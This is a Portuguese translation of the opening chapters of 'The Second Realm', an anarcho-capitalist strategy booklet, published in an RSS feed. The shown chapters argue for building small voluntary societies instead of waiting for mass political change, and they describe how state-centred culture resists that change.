&lt;/div></content:encoded></item><item><title>A Segunda Esfera</title><link>https://cypherpunks.com.br/documentos/a-segunda-esfera/</link><pubDate>Mon, 22 Mar 2021 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/a-segunda-esfera/</guid><description>Qualquer um que adere à radical filosofia da liberdade, deve enfrentar a questão urgente de como progredir da nossa atual condição de liberdade insuficiente, para uma sociedade onde a liberdade individual é respeitada.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Cypherpunks Brasil
Revisado por: Matheus Bach, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h2 id="smuggler-e-xyz">Smuggler e &amp;ldquo;XYZ&amp;rdquo;&lt;/h2>
&lt;p>&lt;em>Site original - &lt;a href="https://anarplex.net/files/secondrealm/" target="_blank" rel="noopener noreferrer">Anarplex - The Second Realm&lt;/a>
&lt;/em>&lt;/p>
&lt;p>Baixe esse livro em outros formatos:&lt;/p>
&lt;ul>
&lt;li>Markdown: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/a-segunda-esfera/master/segundaesfera.md" target="_blank" rel="noopener noreferrer">segundaesfera.md&lt;/a>
&lt;/li>
&lt;li>HTML: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/a-segunda-esfera/master/segundaesfera.html" target="_blank" rel="noopener noreferrer">segundaesfera.html&lt;/a>
&lt;/li>
&lt;li>PDF: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/a-segunda-esfera/master/segundaesfera.pdf" target="_blank" rel="noopener noreferrer">segundaesfera.pdf&lt;/a>
&lt;/li>
&lt;li>e-pub: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/a-segunda-esfera/master/segundaesfera.epub" target="_blank" rel="noopener noreferrer">segundaesfera.epub&lt;/a>
&lt;/li>
&lt;li>MOBI: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/a-segunda-esfera/master/segundaesfera.mobi" target="_blank" rel="noopener noreferrer">segundaesfera.mobi&lt;/a>
&lt;/li>
&lt;/ul>
&lt;h3 id="notas-do-tradutor">Notas do Tradutor&lt;/h3>
&lt;p>&lt;/p>
&lt;p>O objetivo desse projeto foi manter a tradução acessível ao público geral sem perder a fidelidade com a obra original.
Vários maneirismos dos autores foram mantidos, algumas expressões não foram traduzidas para facilitar pesquisas por parte do leitor, afinal traduzir uma terminologia técnica resultaria em páginas de pesquisa em branco e quase nenhuma referência.&lt;/p>
&lt;hr>
&lt;h1 id="a-segunda-esfera">A Segunda Esfera&lt;/h1>
&lt;h2 id="livro-de-estratégia">Livro de Estratégia&lt;/h2>
&lt;h4 id="cripto-anarquia-tradecraft-zonas-autônomas-temporárias-e-contracultura">Cripto-Anarquia, Tradecraft, Zonas Autônomas Temporárias, e Contracultura&lt;/h4>
&lt;p>Este é um livreto para pessoas em busca da liberdade e para quem adere a uma filosofia de liberdade pessoal, civil e econômica através da ausência do governo em suas vidas, junto à forte presença de direitos de propriedade.
Entre filosofias variadas, que mantêm essa visão, a mais notória é provavelmente a do Anarco-Capitalismo de ambas vertentes de Rothbard e Friedman.
Os autores deste livreto aderem à vertente de Rothbard e é essa perspectiva que deverá ser considerada para extrair o máximo de valor deste texto.&lt;/p>
&lt;p>Obrigado a Timothy C. May, Hakim Bey, Murray Rothbard, J. Neil Schulman e Samuel Edward Konkin III pela inspiração e idéias que expandimos.&lt;/p>
&lt;p>Nós também agradecemos &amp;ldquo;The Free and Unashamed&amp;rdquo; por nos pedir para escrever o que pensamos, e por nos apoiar no processo. Enquanto vocês continuarem um mistério para nós, vocês serão um bom mistério.&lt;/p>
&lt;p>&lt;em>Sobre os autores:&lt;/em>&lt;/p>
&lt;p>Este livro foi escrito por
&lt;a href="mailto:Smuggler@staff.anarplex.net">Smuggler&lt;/a>
e &amp;ldquo;XYZ&amp;rdquo;. Nós somos as únicas pessoas responsáveis por ele. Estes são nossos pensamentos.&lt;/p>
&lt;p>&lt;strong>Se você gosta desse livro:&lt;/strong>&lt;/p>
&lt;p>Se este livro te ajudou, lhe foi prazeroso ou apenas te deu novas idéias para pensar a respeito, por favor nos dê um &amp;ldquo;obrigado&amp;rdquo; enviando alguns Bitcoins para:&lt;/p>
&lt;p>&lt;strong>1DrjUiCT4Wzij8hLYBTYmfPubZMNf2PubU&lt;/strong>&lt;/p>
&lt;h3 id="conteúdo">Conteúdo&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="#motiva%c3%a7%c3%a3o">Motivação&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#conclus%c3%a3o">Conclusão&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#introdu%c3%a7%c3%a3o">Introdução&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#primeiros-passos-a-uma-estrat%c3%a9gia">Primeiros Passos a Uma Estratégia&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#obst%c3%a1culos">Obstáculos&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#conclus%c3%b5es">Conclusões&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#a-segunda-esfera-1">A Segunda Esfera&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#zonas-aut%c3%b4nomas-tempor%c3%a1rias-revisadas">Zonas Autônomas Temporárias Revisadas&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#al%c3%a9m-da-fisicalidade---em-dire%c3%a7%c3%a3o-%c3%a0-informa%c3%a7%c3%a3o">Além da Fisicalidade - Em Direção à Informação&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#o-futuro">O Futuro&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#ensaios-sobre-trocas-seguras---b%c3%a1sico-de-tradecraft">Ensaios Sobre Trocas Seguras - Básico de Tradecraft&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#Especializa%c3%a7%c3%a3o">Especialização&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#seguran%c3%a7a-e-defesa">Segurança e Defesa&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#as-b%c3%aan%c3%a7%c3%a3os-da-tecnologia">As Bênçãos da Tecnologia&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#servi%c3%a7os-compartilhados">Serviços Compartilhados&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#seguran%c3%a7a-por-penalidades-financeiras">Segurança Por Penalidades Financeiras&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#a-segunda-esfera---filosofia">A Segunda Esfera - Filosofia&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#o-que-%c3%a9-liberdade">O Que É Liberdade?&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#primeiras-implica%c3%a7%c3%b5es">Primeiras Implicações&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#a-segunda-esfera---cultura">A Segunda Esfera - Cultura&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#introdu%c3%a7%c3%a3o-1">Introdução&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;ul>
&lt;li>&lt;a href="#a-pintura-do-cen%c3%a1rio">A Pintura do Cenário&lt;/a>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#considera%c3%a7%c3%b5es-finais">Considerações Finais&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="#pr%c3%b3ximos-passos">Próximos Passos&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h1 id="motivação">Motivação&lt;/h1>
&lt;p>Qualquer um que adere à radical filosofia da liberdade, deve enfrentar a questão urgente de como progredir da nossa atual condição de liberdade insuficiente, para uma sociedade onde a liberdade individual é respeitada.&lt;/p>
&lt;p>Várias estratégias para essa mudança foram propostas, desde participação política, educar e convencer as massas, desobediência civil, secessão e contra-economia; até mesmo revolução.&lt;/p>
&lt;p>Enquanto essas propostas todas tem alguns aspectos interessantes, elas são por vezes ingênuas ou mal informadas a respeito do que realmente molda a sociedade.&lt;/p>
&lt;hr>
&lt;p>A falha fundamental para a maioria dessas estratégias, com uma leve exceção na teoria da contra-economia, é a dependência numa mudança em massa das estruturas sociais, culturais e econômicas, e das pessoas em geral.&lt;/p>
&lt;p>É negligenciado com frequência por voluntaristas o fato do pensamento coletivo dominar muito de nossos processos pessoais de tomada de decisão, motivo da maioria dessas estratégias pecar pela &lt;em>falácia de grandes números.&lt;/em> Por esse termo, queremos dizer a crença de que devemos aguardar pelo progresso até que uma grande quantidade de pessoas se reúnam em suporte à nossa causa.&lt;/p>
&lt;p>Nós discordamos, e pensamos que aguardar tem sido um erro, muitas vezes com o propósito de evitar riscos. Nós desejamos minimizar riscos, mas não ao ponto de ficarmos inertes.&lt;/p>
&lt;hr>
&lt;p>Não esperamos exércitos de apoiadores. A razão para isso deve ser intuitiva tanto para economistas como psicólogos:&lt;/p>
&lt;p>Tanto a produção como o parasitismo são estratégias naturais do ser humano para satisfazer desejos pessoais. Ambas estratégias se manifestam naturalmente e estão presentes na maioria das pessoas (com exceção de idealistas e moralistas de um lado, e verdadeiros sociopatas do outro).&lt;/p>
&lt;p>Ambas estratégias podem facilmente serem observadas na vida moderna, com o parasitismo se tornando mais lucrativo a cada intervenção política.&lt;/p>
&lt;p>Nossa atual sociedade redistributiva move a propriedade de produtores para parasitas, assim como muda as decisões de mão, do indivíduo para um governante. (O governante, claro, é isento de toda responsabilidade pessoal, contestação ou risco pessoal.)&lt;/p>
&lt;p>Um número surpreendentemente grande de pessoas nas sociedades modernas é a favor da redistribuição da propriedade, algumas vezes conscientemente e outras apenas porque se importam mais com as regras do jogo do que com a moral do jogo: enxergam a redistribuição como o jeito que o mundo funciona e se esforçam para conseguir &amp;ldquo;sua fatia&amp;rdquo;.&lt;/p>
&lt;p>Parasitismo, onde é imposto por um governo, é mais fácil do que trabalhar. Pois provê um nível comparável de consumo com menos esforço. Além disso, remove centenas de decisões diárias do indivíduo, junto com as sensações ruins de enfrentar seus erros.&lt;/p>
&lt;p>Infelizmente é um truísmo que a maioria das pessoas apenas quer a liberdade para ter conforto.&lt;/p>
&lt;hr>
&lt;p>A teoria de classes libertária descreve duas classes de pessoas numa sociedade: Aqueles que pagam mais impostos do que consomem serviços públicos, e aqueles que consomem mais serviços públicos do que pagam impostos. Ou seja: Pagadores de impostos e gastadores de impostos.&lt;/p>
&lt;p>O que é pouco observado é o tamanho do segundo grupo. Na maioria dos países em desenvolvimento, os gastadores de impostos compõem muito mais do que um terço dos empregados, de burocratas a indústrias vivendo de dinheiro público ou regulações. Em países desenvolvidos, e estagnados, gastadores de impostos se aproximam ou passam de 50%. (A enorme emissão de dinheiro fiduciário permitiu que governos mantivessem esse jogo insustentável vivo&amp;hellip; por enquanto.) Milhões de pessoas lucram com esse arranjo e vão lutar para mantê-lo até o fim.&lt;/p>
&lt;p>Se combinarmos apenas essas duas motivações da busca por intervenção governamental, redistribuição de propriedade e terceirização de decisões, facilmente uma maioria se beneficiaria da existência de uma instituição assim.&lt;/p>
&lt;hr>
&lt;p>Existem, no entanto, motivações para a existência de um Estado como uma organização social.&lt;/p>
&lt;p>Uma é o sentimento que cria identidade, de &amp;ldquo;pertencer&amp;rdquo; a algo - um motivador humano natural e nem sempre negativo. Esse é frequentemente explorado pelo Estado para garantir apoio e limitar dissidências.&lt;/p>
&lt;p>Outra motivação é a percepção de riscos e oportunidades perdidas de uma mudança no atual &lt;em>status quo&lt;/em> para uma nova sociedade apenas baseada na interação voluntária, contratos e leis optativas. Pessoas se sentem confortáveis no arranjo atual e não querem passar pelo desgaste de se adaptar a uma nova situação.
Isso é compreensível.&lt;/p>
&lt;p>As questões reflexivas que são imediatamente feitas são como estas: Quem vai cuidar dos doentes, dos idosos, das crianças, do meio ambiente? Quem vai construir as estradas, manter a segurança, licenciar os médicos e garantir que os trens serão pontuais?&lt;/p>
&lt;p>Estas questões são por várias vezes dispensadas com uma correta, porém superficial, resposta que é &amp;ldquo;o mercado&amp;rdquo;. No entanto, essa resposta não é suficiente. O &amp;ldquo;mercado&amp;rdquo; não simplesmente cuida de qualquer coisa - este é apenas um sistema de interação e troca.
Pessoas encontram soluções para problemas humanos; empreendedores investem tempo e esforço para encontrar soluções que outros estarão dispostos a trocar coisas, e, se estiverem corretos, então lucrar.&lt;/p>
&lt;p>Sem novos fornecimentos desses serviços (que são geralmente proibidos usando violência nos regimes atuais) a percepção de risco não pode ser suficientemente sanada - certamente não para alguém que está agitadamente fazendo a pergunta. Para ela, a possibilidade assustadora de um novo arranjo humano será rapidamente dispensada.&lt;/p>
&lt;p>A terceira motivação contra a mudança para uma sociedade voluntária é a percepção de custo da mudança em si. Além de se adaptar para um novo estilo de vida, qualquer mudança encontrará resistência e risco de falha, variando desde a perda de tempo e dinheiro, até a perda de vidas ou a própria liberdade. Muitas poucas pessoas estão dispostas a assumir esses riscos, e muitas seriam necessárias para se alcançar qualquer mudança significativa na sociedade toda.&lt;/p>
&lt;p>Afinal, a liberdade é cara.&lt;/p>
&lt;hr>
&lt;p>A conclusão razoável então, é parar de esperar por um número grande de apoiadores e, em vez disso, se concentrar em estratégias que tornem a liberdade individual possível na situação vigente.&lt;/p>
&lt;p>Porém, enquanto nós paramos de esperar que eventos enormes tragam a liberdade para nós, não perdemos a esperança pela liberdade - nós apenas encaramos o fato de que nós teremos que construí-la tijolo por tijolo, por nós mesmos, sem esperar por apoio ou permissão.&lt;/p>
&lt;p>Felizmente, esses métodos permitem moldar uma sociedade voluntária para aqueles menos dispostos a assumir riscos, de forma que um conceito anteriormente virtual possa ser demonstrado na vida real - aqui e agora, para ver e sentir, sem ter que aguardar.&lt;/p>
&lt;p>Isso não requer várias pessoas que pensem parecido.&lt;/p>
&lt;p>A verdade é que aguardar pelo consentimento nos impede de agir. E agir permite que testemos e modifiquemos nossas teorias no mundo real, o qual é o único meio para que elas alcancem formas úteis.&lt;/p>
&lt;hr>
&lt;p>Outro grave erro é muitas vezes encontrado no pensamento estratégico de anarco-capitalistas e voluntaristas.&lt;/p>
&lt;p>Desde que o anarco-capitalismo é fundamentalmente uma filosofia individual, seus aderentes são, como de costume, firmemente opostos a qualquer noção de coletivismo. Enquanto de forma geral eles estão corretos, deixam passar distinções importantes em sua veemência.&lt;/p>
&lt;p>O principal baluarte do coletivismo é a submissão do indivíduo ao coletivo - &lt;strong>sem que o indivíduo expresse consentimento.&lt;/strong>&lt;/p>
&lt;p>Isso inclui até mesmo o indivíduo sendo excluído, usado de sacrifício, pelo &amp;ldquo;bem&amp;rdquo; do coletivo, e a identidade do indivíduo sendo descrita como de mau caráter nos termos do grupo.&lt;/p>
&lt;p>É de extrema importância que se enfatize dois aspectos importantes desse conceito.&lt;/p>
&lt;p>Primeiro, qualquer participação no coletivo não depende da decisão expressa do membro. Ou esse é forçado a fazer parte, ou no mínimo, é forçado a continuar fazendo parte após se juntar ao grupo.&lt;/p>
&lt;p>Segundo, os aspectos identitários de um coletivo são irrelevantes em quase toda situação significativa ou simplesmente superficial, além de seu significado.&lt;/p>
&lt;p>Nós observamos isso em tantas formas que isso mal precisa ser explicado. O que às vezes passa despercebido, no entanto, é a possibilidade de ação coletiva &lt;strong>com consentimento.&lt;/strong>&lt;/p>
&lt;hr>
&lt;p>Voluntaristas, e pessoas que pensam parecido, tem por muitas vezes levado longe demais a ideia de qualquer agrupamento social, especialmente aqueles com capacidade de estabelecer identidade ou cultura.&lt;/p>
&lt;p>Muitas vezes foi negligenciado que humanos buscam termos e grupos que os provêem com o sentimento de &amp;ldquo;pertencer a algo&amp;rdquo; assim como o de &amp;ldquo;ser alguém&amp;rdquo; - não por algum meio mágico do grupo em si mas porque o grupo é composto de humanos que já &amp;ldquo;pertencem&amp;rdquo; ou &amp;ldquo;são&amp;rdquo;.&lt;/p>
&lt;p>Relações de grupo provêem a base para formar uma cultura de símbolos comuns, significados, ética e relações. Estes são úteis, talvez até necessários, para a interação humana e a vida.&lt;/p>
&lt;p>Além disso, esses grupos podem formar sociedades ainda maiores que podem prover instituições, refletir relações e simplificar interdependências e alianças. O que leva a um aumento da estabilidade e eficiência de interação, comércio, comunicação, assim como funções que estabeleçam identidade de forma positiva e relações mais coerentes com pessoas fora dessa sociedade.&lt;/p>
&lt;hr>
&lt;p>Deve ser enfatizado, no entanto, que essas funções positivas da sociedade somente podem ser alcançadas em grupos de associação voluntária (consentida individualmente) com condições fáceis e claras de saída.&lt;/p>
&lt;hr>
&lt;p>As funções úteis de tais grupos de associação voluntária sustentam uma cultura de liberdade, e a formação de uma &amp;ldquo;sociedade&amp;rdquo; de pessoas livres aumenta o atrativo do anarco-capitalismo ao reduzir sua imagem de &amp;ldquo;frieza&amp;rdquo;, provendo uma narrativa comum e estabelecendo a base para lealdade e alianças voluntárias.&lt;/p>
&lt;p>Esses aspectos positivos abrem novas opções para resolver os problemas que enfrentamos - execução de acordos, facilitação de relações de confiança, reputação, ajuda mútua, entre outras - ao aprender com os métodos encontrados em muitas sociedades anárquicas &amp;ldquo;primitivas&amp;rdquo;.&lt;/p>
&lt;h2 id="conclusão">Conclusão&lt;/h2>
&lt;p>A estratégia para a implementação da liberdade deve ser construída sobre três idéias:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>É necessário que se alcance a liberdade individual em todos os aspectos - econômico, pessoal, civil - mesmo apenas com apoio de um pequeno conjunto da população.
Liberdade deve ser tratada como uma posição minoritária que é ativamente oposta por alguns e passivamente ignorada pela maioria. (Se essa aumentar, não teremos problemas de adaptação.)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Todas as noções de uma sociedade homogênea, alteração de opinião vigente e integridade universal da população devem ser abandonadas.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Devemos formar uma cultura e sociedade de liberdade, ou no mínimo dar os primeiros passos em direção desse objetivo para sustentar tentativas de alcançar uma secessão cultural da sociedade vigente que nos permita formar e proteger instituições de interação social e relações.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;h1 id="introdução">Introdução&lt;/h1>
&lt;p>É até mais desafiador escrever um texto sobre estratégia que seja tanto prático quanto revigorante. Nosso propósito é mais o de inspirar o pensamento, e nem tanto criar um projeto final. Este pequeno livro tem um objetivo: Te preparar para ações razoáveis e efetivas. Se você ler mas &lt;strong>não agir&lt;/strong> (não interessa o quanto você fale ou escreva), este livro falhou completamente.&lt;/p>
&lt;hr>
&lt;p>Muitas tecnologias e métodos descritos nesse texto já existem e foram testados na vida real; outros aguardam implementação.&lt;/p>
&lt;p>Nós fomos fortemente inspirados por estruturas, métodos e tecnologias encontrados em outros grupos que enfrentam os mesmos desafios.
Isso inclui grupos de crime organizado como as Triads, Máfia e Yakuza. Nosso empréstimo deles não deve ser (obviamente) compreendido como apoio.&lt;/p>
&lt;p>Além disso, nós também pegamos emprestadas, várias idéias sobre liberdade que vieram antes de nós, mais notavelmente &lt;em>Crypto-Anarchy&lt;/em> por T. C. May, &lt;em>T.A.Z.&lt;/em> por Hakim Bay assim como &lt;em>Counter-Economics&lt;/em> por S. E. Konkin III.&lt;/p>
&lt;hr>
&lt;p>Esta é uma estratégia para tomadores de riscos, empreendedores e aventureiros. Ambos riscos e as esperadas recompensas são grandes.&lt;/p>
&lt;p>Em termos simples: Não é para criancinhas; mas para adultos. Encarar a realidade é um requisito. A mudança é criada pelas pessoas com coragem, não pelos tímidos que normalmente seguem com clamor pelo crédito após todas as batalhas terem sido travadas.&lt;/p>
&lt;p>Mais uma coisa:&lt;/p>
&lt;p>As pessoas de coragem quase sempre se divertem mais. Aproveite!&lt;/p>
&lt;h1 id="primeiros-passos-a-uma-estratégia">Primeiros Passos a Uma Estratégia&lt;/h1>
&lt;p>O primeiro passo em formular uma estratégia é alcançar clareza sobre os objetivos, formas de engajamento, obstáculos e recursos à sua disposição. Estes quatro componentes são interdependentes e alguns deles estão sujeitos a constante mudança (particularmente obstáculos e recursos).&lt;/p>
&lt;hr>
&lt;p>&lt;em>Objetivos&lt;/em> são o que esperamos alcançar. Neste caso é nossa participação pessoal, individual e exclusiva em uma sociedade onde a única fundação legítima para toda interação interpessoal seja o acordo voluntário.&lt;/p>
&lt;p>Ela é uma participação &lt;em>pessoal&lt;/em> porque nós como seres físicos, mentais e morais fazemos parte dela com todos os nossos aspectos, não apenas em um sentido abstrato.&lt;/p>
&lt;p>Ela é uma participação &lt;em>individual&lt;/em> porque cada membro de uma sociedade dessas deve decidir por si só se deve fazer parte ou não.&lt;/p>
&lt;p>Ela é exclusiva porque nós preferimos viver como parte de uma sociedade voluntária e não como parte de uma sociedade coercitiva.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Formas de engajamento&lt;/em> são as regras abstratas que governam nossas ações de forma a alcançar nossos objetivos. Quais ações são permissivas e quais devem ser evitadas? Já que nossa luta é no campo da ética, nossos meios devem estar em uníssono com nossos objetivos, no caso se abster de toda interação não voluntária.&lt;/p>
&lt;p>Isso significa que os recursos que utilizemos sejam apenas os de nossa própria propriedade, que evitemos fraude, limitemos o impacto nas partes não envolvidas e que nos refreemos de toda violência que não seja autodefesa.&lt;/p>
&lt;p>Já que a alegação de autodefesa é por muitas vezes abusada, há outra regra que deve ser incluída como sugestão: Evitar fontes de conflito onde nós possamos ser falsamente acusados. E também evitar pontos de conflito onde nossos oponentes estejam propícios a atacar, exigindo violência da nossa parte.&lt;/p>
&lt;hr>
&lt;p>Antes que olhemos para os obstáculos que vamos enfrentar, algumas observações aos nossos recursos serão úteis:&lt;/p>
&lt;p>Das nossas regras de engajamento, nós estamos limitados a nossos próprios corpos, propriedade e tempo ao alcançar nossos objetivos. Isso nos coloca numa posição menos afortunada do que nossos oponentes, que podem comandar o que eles não são donos, que é exatamente o que somos contra. Diluir nossas regras de engajamento nessa área iria então resultar no enfraquecimento de nossos objetivos ou até mesmo em sua perda completa. Esse foi o caso de várias tentativas históricas de criar liberdade as quais levaram à substituição de governantes, mas não do sistema de governança, ou que usaram terrorismo para estabelecer uma nova ordem.&lt;/p>
&lt;p>Porém, usar nossos próprios recursos também nos permite ser mais flexíveis em suas aplicações, já que não precisamos do processo de comando e obediência para distribuí-los. Isso nos livra da complexidade e nos permite fazer uma implementação ágil das táticas.&lt;/p>
&lt;p>Então, devemos esperar ser mais adaptáveis do que nossos oponentes, desde que não apresentemos novos esquemas de distribuição para recursos e ações.&lt;/p>
&lt;p>Nós podemos e devemos focar em formar um ambiente de empreendedorismo para táticas, e deixar que elas refinem umas às outras no mercado.&lt;/p>
&lt;p>Porém, para um mercado funcionar, nós devemos estar preparados para recompensar empreendedores por seus produtos e serviços superiores, não apenas através de respeito, mas também com considerações materiais tangíveis (dinheiro, etc.)&lt;/p>
&lt;p>Ao contrário de nossos oponentes, nossa estratégia se utiliza dos papéis (já testados pelo tempo) dos empreendedores, consumidores e investidores. Isso é fundamental porque cria uma situação em que as pessoas que não são capazes de contribuir por prover serviços ou produtos, sejam capazes de contribuir por investir tempo ou dinheiro em produtos que vão ajudar nós todos a alcançar nossos objetivos - e talvez até lucrar.&lt;/p>
&lt;hr>
&lt;p>Quais obstáculos nós enfrentamos? Essa é uma área de muita confusão e discordância. Vamos explorar isso em certa profundidade:&lt;/p>
&lt;h2 id="obstáculos">Obstáculos&lt;/h2>
&lt;p>Nós já concluímos que nossos objetivos são opostos pela maioria da população assim como pela classe dominante.&lt;/p>
&lt;p>É, no entanto, necessário analisar os métodos específicos nos quais nossos objetivos são opostos e quais meios são utilizados para nos impedir de alcançá-los.&lt;/p>
&lt;hr>
&lt;p>Humanos são seres espaciais, sociais e cooperativos. Nós ocupamos um espaço que nenhuma outra coisa espacial pode ocupar ao mesmo tempo. Nossos corpos precisam estar em algum lugar; eles precisam ser sustentados.&lt;/p>
&lt;p>Nós também somos sociais porque nós exigimos interação com outros humanos. Nós queremos nos comunicar, nós queremos aprender uns com os outros, nós queremos procriar. Enquanto nós somos a única coisa no espaço que ocupamos, nós também precisamos interagir, sermos vistos, e ver outros humanos ao nosso redor. Nós definimos e alcançamos status social através da interação e observação, e usamos isso para descobrir como evitar conflitos, para resolver conflitos quando ocorrem, para criar instituições de interação e símbolos para identificar amigos e inimigos, e para otimizar nossa comunicação.&lt;/p>
&lt;p>Já que nós também vivemos em um mundo escasso e não podemos fazer cada coisa necessária sozinhos, nós também nos envolvemos em cooperação, especialização e comércio.&lt;/p>
&lt;hr>
&lt;p>Essas características da vida humana constituem a base da maioria das coisas que fazemos, mas também provêem os meios para que nossos oponentes nos mantenham acorrentados.&lt;/p>
&lt;p>Através da história, aqueles que se opõem à liberdade desenvolveram e cultivaram a complexa e refinada &amp;ldquo;ciência&amp;rdquo; de como manter populações sob controle. Não estamos nos referindo a um grupo secreto de planejadores sociais, mas a um conjunto de técnicas que são compartilhadas não somente entre os governantes mas entre as partes da sociedade que lucram na coerção e no conforto que essa os traz.&lt;/p>
&lt;p>Entender essa &amp;ldquo;ciência&amp;rdquo; é algo benéfico para enxergar como vários dos nossos aspectos - espacial, social e cooperativo - são explorados.&lt;/p>
&lt;hr>
&lt;p>É necessário entender que o Estado e os sistemas do mundo &lt;strong>não&lt;/strong> são espaciais. Apesar do Estado reivindicar controle geográfico, o Estado em si não ocupa nada, já que não é uma entidade física. É um conceito &lt;strong>social&lt;/strong> de controle. O único jeito que o Estado pode interagir com o espacial é através de seus agentes e proponentes, assim como qualquer um condicionado a representá-lo ou invocá-lo.&lt;/p>
&lt;p>São os humanos individuais que devem ser intrusivos ao espaço de outro indivíduo para exercer qualquer tipo de força, seja direta ou indireta.&lt;/p>
&lt;p>Quando não utilizando da força, a única outra opção para o Estado agir no espaço é através de seus agentes, ao observar ou vigiar o espaço de outros.&lt;/p>
&lt;hr>
&lt;p>Normas culturais da sociedade vigente e a maior parte de suas subculturas recompensam comportamento em prol do Estado enquanto punem comportamento não Estatal. Enquanto isso ainda não é verdade para todas as partes do código cultural, isso está aumentando, muitas vezes sem percebermos.&lt;/p>
&lt;p>Há numerosos exemplos disso. O método sugerido com maior freqüência para a resolução de problemas é chamar a polícia, é sempre obedecer a autoridade do Estado, é usar métodos &amp;ldquo;convenientes&amp;rdquo; de pagamento (cartão de crédito, etc.), é fazer todo pagamento em curso legal (moeda nacional), conseguir um &amp;ldquo;bom emprego&amp;rdquo;, pressionar seus &amp;ldquo;representantes&amp;rdquo;, &amp;ldquo;trabalhar dentro da legalidade do sistema&amp;rdquo;, pagar por sua &amp;ldquo;fatia justa&amp;rdquo; de impostos, aderir a atual definição de &amp;ldquo;politicamente correto&amp;rdquo; ou simplesmente &amp;ldquo;não dar problema&amp;rdquo;. Todos esses códigos de conduta culminam em um objetivo: Integrar-se em uma sociedade que é liderada, organizada e permitida pelo Estado.
Visões alternativas são rapidamente rotuladas como &amp;ldquo;perda de tempo&amp;rdquo;, &amp;ldquo;anti-práticas&amp;rdquo;, &amp;ldquo;irrealistas&amp;rdquo;, &amp;ldquo;utópicas&amp;rdquo;, &amp;ldquo;excêntricas&amp;rdquo; ou até mesmo &amp;ldquo;traição&amp;rdquo;.&lt;/p>
&lt;p>Entrelaçados a esses códigos estão valores que a maioria das pessoas está acostumada a usar ao julgar seus vizinhos. Enquanto muitos soldados hoje participam das guerras que deveriam, de forma realista, serem chamadas de injustas e, portanto, um crime, eles não são confrontados com desgosto ao escolherem essa carreira. Policiais que garantem leis antiéticas (muitas vezes de forma antiética) não são excluídos de nossa fraternidade, mas ao invés disso chamados de &amp;ldquo;nossos modelos&amp;rdquo;. Cobradores de impostos que objetivamente conduzem assalto a mão armada não são explanados mas identificados como &amp;ldquo;fazendo o seu trabalho&amp;rdquo;. No final, todo mundo está apenas seguindo ordens.&lt;/p>
&lt;p>Além disso, uma vasta variedade de símbolos são usados para identificar pessoas como sendo &amp;ldquo;respeitáveis&amp;rdquo;. Alguns desses são: estilos de roupa, símbolos de status, licenças, cartões de membro de sociedades, uso de linguagem e risos em momentos propícios.&lt;/p>
&lt;p>Juntos, esses códigos, valores e símbolos formam expectativas e identidades societárias - a função de uma cultura - e qualquer desvio fundamental destas é respondido com rejeição ou até hostilidade explícita.&lt;/p>
&lt;p>É muito importante entender que esses códigos, valores e símbolos são fortemente interligados e formam um corpo de cultura integrado que torna muito difícil se libertar desse esquema de forma bem sucedida.
Se nós mudarmos apenas partes disso, é fácil sermos arrastados de volta para &amp;ldquo;o antigo costume&amp;rdquo; pelas partes que ainda estão amarradas à cultura majoritária. (Idealmente não necessariamente, mas de forma prática, normalmente está.)&lt;/p>
